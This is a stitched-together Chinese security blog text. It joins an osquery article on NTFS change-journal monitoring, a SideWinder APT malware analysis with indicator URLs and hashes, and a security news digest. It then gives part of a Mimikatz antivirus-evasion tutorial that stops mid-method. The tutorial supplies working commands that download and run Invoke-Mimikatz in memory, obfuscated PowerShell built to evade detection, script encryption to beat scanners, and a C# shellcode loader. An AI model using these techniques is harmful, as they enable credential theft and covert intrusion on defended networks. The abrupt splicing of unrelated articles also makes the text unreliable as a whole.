还有一种更老的解决方案:SHChangeNotifyRegister可用于将窗口注册为通过Windows消息从shell程序(即Explorer)接收文件通知的收件人。这种方法也有很多缺点:它要求接收方应用程序维护一个窗口,即使它只是一个只显示消息的窗口,使用文件系统路径的一些奇怪的“项目列表”视图,并且受到Windows消息传递的吞吐量的限制。

总而言之,这些API的性能和准确性问题使它们不适合osquery。

过滤器驱动程序和Minifilter

与Windows环境中的许多其他工程挑战一样,文件监视具有内核模式API形式的核选择。 Windows足以为此目的提供两个常规类别:老旧文件系统过滤器API和更新的minifilter框架。我们将在这篇文章中讨论后者,因为这是微软推荐的。

Minifilter是内核模式驱动程序,它直接插入由Windows文件系统执行的I/O操作。因为它们是在公共文件系统接口层进行操作的,所以它们在大多数情况下不了解其底层存储,理论上,它们可以插入NT内核已知的任何文件系统操作,而与文件系统类型或底层实现无关。Minifilter也是可组合的,这意味着可以注册多个过滤器并与文件系统进行交互,而不会产生冲突。

Minifilter是通过过滤器管理器实现的,它根据配置的唯一“高度”(较低的海拔高度对应于较早的负载,因此较早的访问权限)和“加载顺序组”中的存在(对应于唯一的高度范围)建立一个过滤器加载顺序。加载顺序组本身是按升序加载的,其成员则是按随机顺序加载的,这意味着,与你所在组中的另一个Minifilter相比,具有更低的高度并不保证具有更高的优先级。微软提供了一些加载顺序组和高度范围的文档这里有一份已知“高度”的列表,你甚至可以自定义一个!

虽然功能强大、灵活,并且通常是在Windows上自检文件系统的正确选择,但是Minifilter不适合osquery的文件监控用途:

1. 对于树内(即非扩展)表,osquery具有禁止系统修改的策略。安装Minifilter需要我们通过加载驱动程序来修改系统,并且需要osquery随驱动程序一起提供或在安装时获取一个驱动程序。

2. 因为Minifilter是完整的内核模式驱动程序,所以它们具有不良的安全性和稳定性风险。

3. osquery的设计向用户保证:它是一个单一可执行的、用户模式的代理,在运行时自动监控它的性能开销,内核模式的驱动程序会违反这种设计。

日志监控

我们可以使用第三个选项:NTFS日志。

像大多数(相对)现代的文件系统一样,NTFS被记录在日志中:对基础存储的更改之前是对(通常是循环的)区域的更新,该区域记录了与更改相关的元数据。丹·卢(Dan Luu)的“文件充满危险”,其中包含一些以“撤消日志”形式进行日志记录的好例子。

日记功能具有许多优点:

1. 增强了抵御破坏力的能力:单个I/O操作(例如,取消链接文件)的用户空间,内核到硬件的完整操作链在内部不是原子的,这意味着崩溃可能使文件系统处于不确定状态或被破坏的状态,拥有最后一次预提交操作的日志记录使文件系统更有可能被回滚到一个已知的良好状态。

2. 因为日志提供了文件系统操作的可逆记录,所以可以更积极地与底层存储硬件进行交互:触发提交的批处理大小可以增加,从而提高性能。

3. 相对于文件系统,由于日志是及时且较小的,因此可用于避免对元数据进行昂贵的文件系统查询(例如stat)。这在Windows上尤其重要,在Windows中,元数据请求通常涉及获取完整句柄。

NTFS的日志记录机制实际上分为两个单独的组件:$LogFile是一个预写日志,用于处理日志记录以进行回滚,而更改日志($Extend\$UsnJrnl)按种类记录卷上最近的更改,不过不包含不包含回滚所需的偏移量和大小信息。

Windows将后者用于“文件历史记录”功能,这也是我们将要使用的功能。

访问变更日志

先说明一下,下面的样本已经被简化了,它们不包含错误处理和边界检查,这两项对于安全和正确使用都是必需的。在复制之前,请阅读MSDN或osquery中的完整源代码!

对于我们来说幸运的是,打开NTFS更改日志的句柄并从中读取内容是一件相对轻松的事情,只需几个步骤。

1. 我们将通过一个普通的旧的CreateFile调用获得我们想要监控的卷的句柄:

2.png

2. 我们在句柄上发出DeviceIoControl[FSCTL_QUERY_USN_JOURNAL]来获取最新的更新序列号(USN)。USN唯一标识一起提交的批记录,我们将使用第一个按时间顺序“锚定”查询:

3.png

3. 我们使用FSCTL_READ_USN_JOURNAL发出另一个DeviceIoControl,以从日志中提取记录的原始缓冲区,我们使用READ_USN_JOURNAL_DATA_V1来告诉日志只给我们从最后一步得到的USN开始的记录:

4.png

请注意最后两个字段(2U和3U),稍后再讨论。

解释变更记录缓冲区

DeviceIoControl[FSCTL_READ_USN_JOURNAL]为我们提供了一个长度可变的USN_RECORDs原始缓冲区,前面加上一个USN前缀,我们可以使用它来发出未来的请求:

5.png

然后,在process_usn_record中:

6.png

回想一下READ_USN_JOURNAL_DATA_V1中的最后两个字段,它们对应于返回给我们的USN_RECORD版本的范围。我们明确排除了v4记录,因为它们仅作为范围跟踪的一部分发出,不包含我们需要的任何附加信息,你可以在其MSDN页面上阅读有关它们的更多信息。

MSDN明确指出了这些强制转换的必要性:USN_RECORD是USN_RECORD_V2的别名,并且USN_RECORD_V3不保证具有除USN_RECORD_COMMON_HEADER之外的任何公共布局。

但是,一旦出现问题,以下两个字段均可用:

1. Reason:标志的位掩码,指示当前记录中已累积的更改。有关原因常量的列表,请参见MSDN的USN_RECORD_V2或USN_RECORD_V3。

2. FileReferenceNumber:引用底层文件系统对象的惟一(通常为128位)序号,这与可以通过调用getfileidinfo作为信息类的GetFileInformationByHandleEx来获得的FRN相同。FRN大致相当于UNIX系统中的“inode”概念,并且具有类似的语义(每个文件系统是惟一的,而不是系统范围的)。什么是inode?要理解inode,要从文件储存说起。文件储存在硬盘上,硬盘的最小存储单位叫扇区(Sector)。每个扇区储存512字节(相当于0.5KB)。操作系统读取硬盘的时候,不会一个个扇区地读取,这样效率太低,而是一次性连续读取多个扇区,即一次性读取一个块(block)。这种由多个扇区组成的块是文件存取的最小单位,块的大小,最常见的是4KB,即连续八个sector组成一个block,文件数据都储存在块中,那么很明显,我们还必须找到一个地方储存文件的元信息,比如文件的创建者、文件的创年日期、文件的大小等等。这种储存元信息的区域叫做inode,中文译名为”索引节点”。

3. ParentFileReferenceNumber:另一个FRN,这个FRN表示该记录所针对的文件或目录的父目录或卷。

4. FileNameLength, FileNameOffset, FileName:字节长度、偏移量和指向该文件或目录文件名的指针。请注意,FileName是基本名称(即非限定名称),要检索完全限定名称,我们需要通过打开父FRN的句柄(OpenFileById),调用GetFinalPathNameByHandle并将二者结合来解析父FRN的名称。

通过更改日志记录文件事件,可以观察到,我们的方法已经绕过了文件监控中的许多常见性能和开销问题:我们完全异步运行,而不会阻塞文件系统,仅这一点就比在每个I/O操作上增加开销的minifilter模型有了很大的改进。

在osquery更改日志记录

上面我们介绍了通过单个卷检索和解释变更日志记录,但osquery的用例更加复杂,因为我们希望监控用户注册的每个卷,并对检索到的记录执行过滤,从而将输出限制在一组配置的模式中。

每个NTFS卷都有自己的更改日志,因此需要独立地打开和监控每个卷,而osquery的发布子框架非常适合这项任务,具体过程如下:

1. 定义一个事件发布程序(NTFSEventPublisher);

2. 在配置阶段(NTFSEventPublisher::configure()),我们从Linux的file_events表中读取用户配置:

7.png

3. 配置为我们提供了用于监控变更日志的卷的基本列表,我们为每个类创建一个USNJournalReader,并通过Dispatcher::addService()将它们作为服务添加;

4. 每个阅读器执行自己的更改日志监控和事件收集,向发布服务器报告事件列表;

5. 我们执行一些规范化,包括将“旧”和“新”事件重命名为单个NTFSEventRecords。我们还维护了一个父frn到目录名的缓存,以避免由于目录重命名而丢失的更改,并最小化我们发出的开放处理请求的数量;

6. fire()通过订阅表ntfs_journal_events使用这些规范化事件。

完成这些步骤后,就得到了上面的屏幕截图所示的基于事件的表。

8.png

总结

ntfs_journal_events表使osquery成为Windows上文件监控的首选项,并进一步减少了Windows和Linux/macOS之间osquery特性的差距(Linux/macOS拥有file_events表已经很长时间了)。

概述

响尾蛇(SideWinder)组织是据称具有南亚背景的APT团伙,其主要针对周边国家政府机构等重要组织开展攻击活动,窃取敏感信息。

在之前的文章中提到在线沙箱any.run是学生党获得样本分析的好地方,而关注一些安全研究员的社交账号则是获取APT样本信息的有效渠道。

近日,安全研究员公开披露了几起响尾蛇的攻击样本

搜索样本

因看到其中有新冠病毒相关的信息,遂想找到样本分析,遗憾的是,在anyrun搜索发现,只有一个样本存在,其他样本均没有在anyrun沙箱。

通过沙箱可发现,该样本是lnk文件,运行后将从远程下载hta文件执行

可惜的是远程连接已经404了,没法继续分析后续。通过anyrun直接找样本分析的路子断了,再次尝试从VT获取一些样本信息。

通过VT 搜索发现利用冠状病毒相关信息的样本也是lnk,运行后将会连接http://www[.]d01fa[.]net/cgi/8ee4d36866/16364/11542/58a3a04b/file.hta下载后续执行。但是该连接也失效了,幸运的是,在该样本的评论初,发现一个评论且该评论带有一个anyrun连接

进入anyrun可见该样本是一个hta文件,且其标题与lnk文件相同,且其网络行为中的域名也与lnk文件后续域名相同。因此可判定该样本即为lnk文件后续

至此,可以整理出该样本的相关信息如下

文件名 Pak_Army_Deployed_in_Country_in_Fight_Against_Coronavirus.pdf.lnk
Md5 3c9f64763a24278a6f941e8807725369
后续链接 http://www.d01fa.net/cgi/8ee4d36866/16364/11542/58a3a04b/file.hta
后续md5 7a4f9c2e5a60ec498c66d85d2df351e8

样本分析

样本以巴基斯坦军队抗击冠状病毒为诱饵,并假装是pdf快捷链接,诱导受害者点击执行,一旦受害者执行,该lnk文件将会从http://www[.]d01fa[.]net/cgi/8ee4d36866/16364/11542/58a3a04b/file.hta下载后续Hta执行。

Hta文件内容如下

该hta主要功能为解密加载一个.netdll.

解密出dll后,获取杀软信息

加载dll,传入四个参数,分别是后续hta地址,传杀软信息的ur+杀软信息,诱饵pdf的内容,诱饵pdf的文件名

之后该dll将释放诱饵文件,诱饵内容与巴基斯坦军队抗击疫情相关

‘将再次从远程下载一个hta文件执行,但该链接目前又失效了,继续anyrun大法下载。

下载回来的hta与之前的类似,仍是解密加载一个dll文件。加载后调用dll的work函数

该dll主要将在\ProgramData\fontFiles目录下释放四个文件,并将白文件加入自启动,通过白文件加载该目录下的恶意Duser.dll

Duser.dll加载起来后,将读取所在目录下的tmp文件,并解密加载该文件

由于dnspy不能直接调试dll,所以可将该解密算法直接拷贝到vs里,解密文件写入即可

解密加载后的文件即为最终的恶意木马,该木马主要用于窃取信息以及接受远程命令执行,运行后,首先从资源解密配置

解密的配置信息如下,信息内容包括收集保存文件目录以及感兴趣的文件类型等

之后创建两个定时器函数执行

GetTimerCallback用于与c2通信,获取命令执行,根据不同命令执行相应功能

支持的功能如下

1.获取系统信息保存到%programdata%\\fontFiles\\font目录下的随机名.sir中

获取系统信息如下

2.收集所有目录信息的信息保存到%programdata%\\fontFiles\\font目录下的随机名.flc中

3. 收集特定文件类型的信息保存到%programdata%\\fontFiles\\font目录下的随机名.fls中

4.获取文件保存

5.更新c2地址

6.更新是否上传指定文件参数

7.重置想获取的特殊文件类型

8.设置文件大小限制

9.指定上传文件

另一个定时函数PostTimerCallback用于上传文件

关联

此次样本与之前披露的过的响尾蛇样本基本一致

且其c2: cloud-apt.net在各威胁平台上都有响尾蛇的tag

Ioc

Pak_Army_Deployed_in_Country_in_Fight_Against_Coronavirus.pdf.lnk
3c9f64763a24278a6f941e8807725369
http://www.d01fa.net/cgi/8ee4d36866/16364/11542/58a3a04b/file.hta
7a4f9c2e5a60ec498c66d85d2df351e8
https://cloud-apt.net/202/XlhXfuDrsNNxGUPCsYPOdQ78WmwuLRMZ2YCXvGWy/16364/11542/2c7c95c9

*本文作者:fuckgod,转载请注明来自FreeBuf.COM

【全球动态】

1.俄罗斯黑客被指控入侵LinkedIn、Dropbox和Formspring

俄罗斯黑客叶夫根尼·尼库林被控入侵LinkedIn、Dropbox和Formspring,后来又出售了数亿用户的被盗数据。但是在周二的听证会上,他的审判第三次因冠状病毒大流行而中断。[外刊-阅读原文]

2.曾攻击洛杉矶时报的黑客再次袭击媒体

33岁的Matthew Keys曾因为与国际黑客组织“匿名者”合谋攻击美国《洛杉矶时报》网站而入狱,现在他被指控侵入并删除Comstock杂志的YouTube账号,违反了获释条件。[外刊-阅读原文]

3.900万英国人的公路旅行日志泄露在网络上

Sheffield 市议会的自动车牌识别(ANPR)系统在互联网上曝光了860万条数千人的公路旅行记录,英国监控摄像专员托尼波特(Tony Porter)形容这一安全漏洞“既令人震惊又令人担忧”,并要求对这一漏洞进行全面调查。[外刊-阅读原文]

4.流氓软件的虚假的防病毒过期骗局

流氓安全软件的分支机构正在发送电子邮件,告诉收件人其防病毒软件即将到期,然后提示他们续订许可证,以便分支机构可以从销售中赚取佣金。[外刊-阅读原文]

5.GitLab奖励研究人员20000美元修复远程代码执行漏洞

GitLab因报告平台上严重的远程代码执行漏洞而向网络安全研究人员授予了20000美元的奖励。3月23日,这个漏洞被程序员兼bug赏金猎人William“vakzz”Bowling发现,并通过HackerOne bug赏金平台私下披露。[外刊-阅读原文]

6.微软开放内部库完成QUIC连接

微软本周开源了MsQuic的源代码,这是微软的内部库,用于处理通过新的QUIC协议建立的网络连接。QUIC代表“快速UDP Internet连接”。它是一种新的数据传输协议,目前正在由互联网工程任务组(IETF)标准化。[外刊-阅读原文]

【安全事件】

1.安徽警方破获非法侵入计算机信息系统案 “黑客”盗取百万余条公民个人信息

安徽滁州市公安局琅琊分局在公安部“净网2020”专项行动中,破获一起特大侵入计算机信息系统盗取公民信息案,在滁州、昆明、西安三地先后抓获赵某、黄某某、李某某三名网络“黑客”,查获被盗的公民个人信息100余万条,扣押电脑硬盘三块、手机5部。[阅读原文]

2.两家Usenet提供商将数据泄露归咎于合作伙伴公司

提供Usenet服务的两家公司UseNeXT和Usenet.nl披露了安全漏洞,并将这些违规行为归咎于“合作伙伴公司的安全漏洞”,目前这两家公司都已关闭其网站以调查违规行为。[外刊-阅读原文]

3.Adobe修复了Illustrator、Bridge和Magento中的几个关键漏洞

Adobe为Adobe Illustrator、Bridge和Magento发布了安全更新,修复了多个问题,包括多个远程代码执行漏洞。[外刊-阅读原文]

4.PhantomLance,为期四年的网络间谍活动

卡巴斯基实验室发现了一个正在进行的名为“PhantomLance”的网络间谍活动,该活动利用了官方Google Play上托管的恶意应用。[外刊-阅读原文]

5.专家警告:冒充联邦快递的COVID-19主题欺诈

专家发现了一系列使用COVID-19主题并冒充联邦快递,UPS和DHL等航运公司的网络钓鱼诈骗浪潮,诱骗受害者访问恶意链接或打开恶意附件。[外刊-阅读原文]

6.谷歌披露影响苹果全平台的Image I/O零点击漏洞

周二的时候,谷歌公布其在苹果公司的图像 I/O 中发现了当前已被修复的一些 bug 。对于该公司的平台来说,Image I/O 对其多媒体处理框架有着至关重要的意义。ZDNet 报道称,谷歌旗下 Project Zero 团队在周二概述了该漏洞的诸多细节。若被别有用心者利用,或导致用户遭遇“零点击”攻击。[阅读原文]

【优质文章】

1.《网络安全审查办法》与信安从业者有什么关系

近日《网络安全审查办法》刷遍安全圈,为何如此被各大厂商争相转载。那么《办法》与我们信安从业者又有何相关?[阅读原文]

2.网络安全人员正在转移到IT支持部门,这增加了数据泄露的风险

冠状病毒的流行给网络安全行业带来了巨大的变化,绝大多数的安全专家现在在家工作——几乎半数人员是重新分配给一般的IT支持,用以应对组织远程工作的挑战。但是此举可能会使组织更容易受到黑客和网络攻击的攻击。[外刊-阅读原文]

3.美军官员阐述国防部和情报界遂行全域作战的四个挑战

随着美军向全域作战迈进,军方和情报界正在努力应对将间谍卫星数据和行动无缝集成到太空指挥网络和指挥链中的挑战。[阅读原文]

*本文内容收集自全球范围内的媒体与刊物,制作者对其完整性负责,但不对其真实性和有效性负责。

*标注为【外刊】的内容主要来源为英语国家的媒体与刊物,部分内容需要注册免费账号后方可阅读。

郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!

《远控免杀从入门到实践》系列文章目录:

1、远控免杀从入门到实践 (1)基础篇

2、远控免杀从入门到实践 (2)工具总结篇

3、远控免杀从入门到实践 (3)代码篇-C/C++

4、远控免杀从入门到实践 (4)代码篇-C#

5、远控免杀从入门到实践 (5)代码篇-Python

6、远控免杀从入门到实践 (6)代码篇-Powershell

7、远控免杀从入门到实践 (7)代码篇-Golang+Ruby

8、远控免杀从入门到实践 (8)shellcode免杀实践

9、远控免杀从入门到实践 (9)白名单(113个)总结篇

10、远控免杀从入门到实践 (10) Mimikatz的18种免杀实践

0×00 前言

Mimikatz是法国人Benjamin Delpy编写的一款轻量级的调试工具,理论上可以抓取所有windows系统的明文密码(winxp之前的好像不行),因此在内网渗透过程中应用非常广,属于内网渗透必备工具之一,被很多人称之为密码抓取神器。Mimikatz其实并不只有抓取口令这个功能,它还能够创建票证、票证传递、hash传递、甚至伪造域管理凭证令牌等诸多功能。由于mimikatz的使用说明网上资料很多,本文主要是介绍一下mimikatz的一些免杀方式。

随着这两年hw行动越来越多,企事业单位也都开始注重内网安全,有预算的会上全套的终端安全、企业版杀软或者EDR,就算没有预算的也会装个360全家桶或者主机卫士之类的,这也导致很多时候你的mimikatz可能都没法拷贝过去或者没有加载执行,拿了台服务器却横向移不动就尴尬了。

之前写了远控免杀系列的文章,学习到一些比较好玩的免杀姿势,又从网上找到了一些针对mimikatz的免杀技巧,于是就有了这篇mimikatz免杀的文章。

本文所用到的相关工具和代码都已经打包:https://github.com/TideSec/BypassAntiVirus/tree/master/tools/

0×02 免杀介绍

远控免杀专题(1)-基础篇中就已经大体介绍了一些常见的免杀方式,而针对Mimikatz的免杀更多样化,因为Mimiktaz本身是开源的,对源码或者对exe都可以进行免杀处理。本文主要介绍了如下5类免杀方式,共18种免杀方法。

本文虽然是针对Mimiktaz进行免杀,但更多的是想研究学习一下比较通用的exe的免杀方式,比如文中介绍的exe通用加载器、powershell执行exe、白名单加载exe等有几种方法可以适用于任意的exe免杀,如果只是针对mimikatz进行免杀完全没必要这么啰嗦的。

1、源码免杀。在有源码的情况下,可以定位特征码、加花指令、多层跳转、加无效指令、替换api、重写api、API伪调用等等,这部分内容较多略复杂,打算另写一篇进行介绍,本文不多介绍。

2、无源码免杀在源码不好修改需要对exe进行免杀时,可以加资源、替换资源、加壳、加签名、PE优化、增加节数据等等。本文中的方法1就是这种方式,只不过算是最简单的一种。

3、powershell免杀因为mimikatz有powershell版或者使用powershell可以加载,所以对powershell的脚本免杀也是一种方式,本文中的方法2-方法6都是对powershell进行处理。

4、加载器分离免杀加载器就是利用了ShellCode和PE分离的方式来达到免杀的效果,在远控免杀专题中介绍过不少很好用的加载器,不过很多只能加载基于RAW格式或固定格式的shellcode,对exe程序就无能无力了。所以这次针对mimikatz,专门找了几个比较通用的exe加载器,将exe转换成bin文件即可进行加载,没有格式限制,方法7到方法10就是介绍的这类免杀。

5、白名单免杀白名单主要是使用了rundll32、msbuild、mshta、cscript等多个白名单程序来加载嵌入了mimikatz的jscript脚本,这部分没有太多亮点,和之前写的远控免杀专题白名单篇基本相似。部分白名单加载方法借鉴了R1ngk3y的文章九种姿势运行Mimikatz

0×03 mimikatz免杀实践

方法0-原生态mimikatz.exe(VT查杀率55/71)

先测一下原生态的mimikatz在virustotal.com上的查杀率,以此来衡量其他的免杀效果。

可以从https://github.com/gentilkiwi/mimikatz/releases下载最新的mimikatz,最新版本为2.2.0(20200308),我这里都是以64位mimiktaz为例进行测试。

开启360防护时会拦截

virustotal.com上查杀率为55/71。

方法1-加壳+签名+资源替换(VT查杀率9/70)

这里先介绍一种比较常见的pe免杀方法,就是替换资源+加壳+签名,有能力的还可以pe修改,而且mimikatz是开源的,针对源码进行免杀处理效果会更好,这里不多做讨论。

需要几个软件,VMProtect Ultimate 3.4.0加壳软件,下载链接: https://pan.baidu.com/s/1VXaZgZ1YlVQW9P3B_ciChg 提取码: emnq

签名软件https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/mimikatz/sigthief.py

资源替换软件ResHacker:https://github.com/TideSec/BypassAntiVirus/blob/master/tools/mimikatz/ResHacker.zip

先替换资源,使用ResHacker打开mimikatz.exe,然后在图标里替换为360图标,version里面文字自己随意更改。

安装vmp加壳软件后,使用vmp进行加壳

使用sigthief.py对上一步生成的exe文件进行签名。sigthief的详细用法可以参考https://github.com/secretsquirrel/SigThief

然后看看能不能运行,360和火绒都没问题。

VT平台上mimikatz32_360.exe文件查杀率9/70,缺点就是vmp加壳后会变得比较大。

方法2-Invoke-Mimikatz(VT查杀率39/58)

当exe文件执行被拦截时,最常想到的就是使用PowerSploit中的Invoke-Mimikatz.ps1了。它虽然是powershell格式,但由于知名度太高,目前也是被查杀的惨不忍睹了。

可以去PowerSploit下载,也可以下载我打包的:

https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/mimikatz/Invoke-Mimikatz.ps1

将Invoke-Mimikatz.ps1放在测试机上,本地执行

C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe -exec bypass "import-module c:\test\Invoke-Mimikatz.ps1;Invoke-Mimikatz"

杀软会行为拦截,Invoke-Mimikatz.ps1脚本也会被查杀。

powershell脚本更方便的是可以进行远程加载

powershell.exe IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/mimikatz/Invoke-Mimikatz.ps1');Invoke-Mimikatz

不过由于raw.githubusercontent.com经常访问受限,所以可能会出现这种提示

所以,最后是把相关代码放在自己的vps上,我就直接放我的内网另外的pc上了。

powershell依旧会被360行为拦截。

对可以尝试直使用下面的bypass方式,来自团队诺言大佬的文章内网渗透-windows持久性后门

powershell.exe -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal "IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/mimikatz/Invoke-Mimikatz.ps1');Invoke-Mimikatz"

不会触发powershell下载行为预警。

virustotal.com上Invoke-Mimikatz.ps1脚本查杀率为39/58。

方法3-使用Out-EncryptedScript加密(VT查杀率0/60)

参考https://www.jianshu.com/p/ed5074f8584b

Powersploit中提供的很多工具都是做过加密处理的,同时也提供了一些用来加密处理的脚本,Out-EncryptedScript就是其中之一。

首先在本地对Invoke-Mimikatz.ps1进行加密处理:

先下载Out-EncryptedScript.ps1脚本,下载地址:https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/mimikatz/Out-EncryptedScript.ps1

在自己的电脑上依次执行

powershell.exe
Import-Module .\Out-EncryptedScript.ps1
Out-EncryptedScript -ScriptPath .\Invoke-Mimikatz.ps1 -Password tidesec -Salt 123456

默认会生成的evil.ps1文件。其中两个参数:-Password 设置加密的密钥-Salt 随机数,防止被暴力破解

将加密生成的evil.ps1脚本放在目标机上,执行如下命令:

powershell.exe
IEX(New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/mimikatz/Out-EncryptedScript.ps1")
[String] $cmd = Get-Content .\evil.ps1
Invoke-Expression $cmd
$decrypted = de tidesec 123456
Invoke-Expression $decrypted
Invoke-Mimikatz

对evil.ps1文件进行查杀

virustotal.com上evil.ps1文件查杀率为0/60。

方法4-使用xencrypt加密(VT查杀率2/59)

该方法主要是使用工具对powershell脚本进行加密并采用Gzip/DEFLATE来绕过杀软。

工具地址https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/mimikatz/xencrypt.ps1

下载Invoke-Mimikatz.ps1

https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/mimikatz/Invoke-Mimikatz.ps1

将xencrypt.ps1也放在同一目录

在powershell中执行

Import-Module ./xencrypt.ps1
Invoke-Xencrypt -InFile .\Invoke-Mimikatz.ps1 -OutFile mimi.ps1 -Iterations 88

生成mimi.ps1

执行

C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe -exec bypass "import-module c:\test\mimi.ps1;Invoke-Mimikatz"

virustotal.com上mimi.ps1文件查杀率为2/59。

方法5-PowerShell嵌入EXE文件(VT查杀率15/58)

这个方法其实只是将exe程序转为字符串,然后嵌入到Invoke-ReflectivePEInjection.ps1中直接执行。参考https://www.freebuf.com/articles/terminal/99631.html

将下面代码保存为Convert-BinaryToString.ps1

function Convert-BinaryToString {
   [CmdletBinding()] param (
      [string] $FilePath
   )
   try {
      $ByteArray = [System.IO.File]::ReadAllBytes($FilePath);
   }
   catch {
      throw "Failed to read file. Ensure that you have permission to the file, and that the file path is correct.";
   }
   if ($ByteArray) {
      $Base64String = [System.Convert]::ToBase64String($ByteArray);
   }
   else {
      throw '$ByteArray is $null.';
   }
   Write-Output -InputObject $Base64String
}

执行powershell import-module .\Convert-BinaryToString.ps1 ; Convert-BinaryToString .\mimikatz.exe >>1.txt

下载Invoke-ReflectivePEInjection.ps1,这个是Empire里的,可以使用PEUrl参数。https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/mimikatz/Invoke-ReflectivePEInjection.ps1

新建一个payload.ps1,内容如下,需要替换里面1.txt的内容和Invoke-ReflectivePEInjection内容。

# Your base64 encoded binary
$InputString = '...........'  #上面1.txt的内容
function Invoke-ReflectivePEInjection  #Invoke-ReflectivePEInjection的内容
{
   ......
   ......
   ......
}
# Convert base64 string to byte array
$PEBytes = [System.Convert]::FromBase64String($InputString)
# Run EXE in memory
Invoke-ReflectivePEInjection -PEBytes $PEBytes -ExeArgs "Arg1 Arg2 Arg3 Arg4"

然后在目标机器执行powershell -ExecutionPolicy Bypass -File payload.ps1即可。

打开杀软发现静态查杀都过不了,其实这个也正常,Invoke-ReflectivePEInjection这个知名度太高了。

如果保错PE platform doesn’t match the architecture of the process it is being loaded in (32/64bit)

说明使用32位的powershell才行%windir%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass -File payload.ps1

virustotal.com上payload.ps1文件查杀率为15/58。

方法6-C程序中执行powershell(VT查杀率7/71)

这个执行方式也是比较简单,在C代码里执行powershell。

先借用Invoke-Mimikatz.ps1

powershell $c2='IEX (New-Object Net.WebClient).Downlo';$c3='adString(''http://10.211.55.2/mimikatz/Invoke-Mimikatz.ps1'')'; $Text=$c2+$c3; IEX(-join $Text);Invoke-Mimikatz

使用c语言的system函数去执行powershell。

#include<stdio.h>
#include<stdlib.h>
int main(){
system("powershell $c2='IEX (New-Object Net.WebClient).Downlo';$c3='adString(''http://10.211.55.2/mimikatz/Invoke-Mimikatz.ps1'')'; $Text=$c2+$c3; IEX(-join $Text);Invoke-Mimikatz");
return 0;
}

编译为exe文件,达到免杀的目的。但在运行该exe时,会触发360报警。

virustotal.com上Project1.exe文件查杀率为7/71。

方法7-使用加载器pe_to_shellcode(VT查杀率47/70)

下载https://github.com/hasherezade/pe_to_shellcode

将mimikatz.exe转化为shellcodepe2shc.exe mimikatz.exe mimi.txt

加载runshc64.exe mimi.txt

virustotal.com上mimi.txt文件查杀率为47/70,额,看来这个已经被列入黑名单了。

方法8-c#加载shellcode(VT查杀率21/57)

参考远控免杀专题(38)-白名单Rundll32.exe执行payload(VT免杀率22-58)https://mp.weixin.qq.com/s/rm**AWC6HmcphozfEZhRGA

先使用上面介绍的pe_to_shellcode方法,把mimikatz.exe转换为mimi.txt

然后使用bin2hex.exe将mimi.txt转换为16进制文件,bin2hex.exe可在这里下载到https://github.com/TideSec/BypassAntiVirus/blob/master/tools/bin2hex.exe

bin2hex.exe --i mimi.txt --o mimi2.txt

在vs2017中创建C#的Console工程,把mimi2.txt中的16进制放到下面代码中的MsfPayload中。

using System;
using System.Threading;
using System.Runtime.InteropServices;
namespace MSFWrapper
{
    public class Program
    {
        public Program()
        {
            RunMSF();
        }
        public static void RunMSF()
        {
            byte[] MsfPayload =  {
0x4D, 0x5A, 0x45, 0x52, 0xE8, 0x00, 0x00, 0x00, 0x00, 0x5B, 0x48, 0x83,
0x41, 0x59, 0x41, 0x58, 0x41, 0x5C, 0x5F, 0x5E, 0x5B, 0xC2, 0x04, 0x00 };
            IntPtr returnAddr = VirtualAlloc((IntPtr)0, (uint)Math.Max(MsfPayload.Length, 0x1000), 0x3000, 0x40);
            Marshal.Copy(MsfPayload, 0, returnAddr, MsfPayload.Length);
            CreateThread((IntPtr)0, 0, returnAddr, (IntPtr)0, 0, (IntPtr)0);
            Thread.Sleep(2000);
        }
        public static void Main()
        {
        }
        [DllImport("kernel32.dll")]
        public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
        [DllImport("kernel32.dll")]
        public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
    }
}

编译生成exe文件。

然后使用DotNetToJScript把csharp文件转为js

DotNetToJScript.exe -l=JScript -o=mimikatz.js -c=MSFWrapper.Program ConsoleApp1.exe

使用cscript.exe mimikatz.js进行执行。

virustotal.com上mimi.txt文件查杀率为21/57。

方法9-Donut执行mimikatz(VT查杀率29/71)

先使用donut把mimiktaz.exe转为bin文件。

donut.exe -f mimikatz.exe -o mimi.bin

将mimi.bin作base64编码并保存在剪贴板,powershell命令如下:

$filename = "mimi.bin"
[Convert]::ToBase64String([IO.File]::ReadAllBytes($filename)) | clip

把base64编码复制到DonutTest工程中。

编译生成exe。

在注入进程时,发现注入到notepad.exe中无法执行,但注入到powershell中可以执行。

但是发现仍被查杀。

VT查杀率29/71,怎一个惨字了得。

方法10-msf加载bin(VT查杀率2/59)

Donut下载https://github.com/TheWover/donut

下载shellcode_inject.rb代码https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/mimikatz/shellcode_inject.rb

1、首先使用Donut对需要执行的文件进行shellcode生成,这里对mimi进行shellcode生成,生成bin文件,等下会用到。

donut.exe -f mimikatz.exe -a 2 -o mimi.bin

windows下的0.9.3版本的donut没能生成,于是使用了0.9.2版本。

kali下的0.9.3可正常使用。

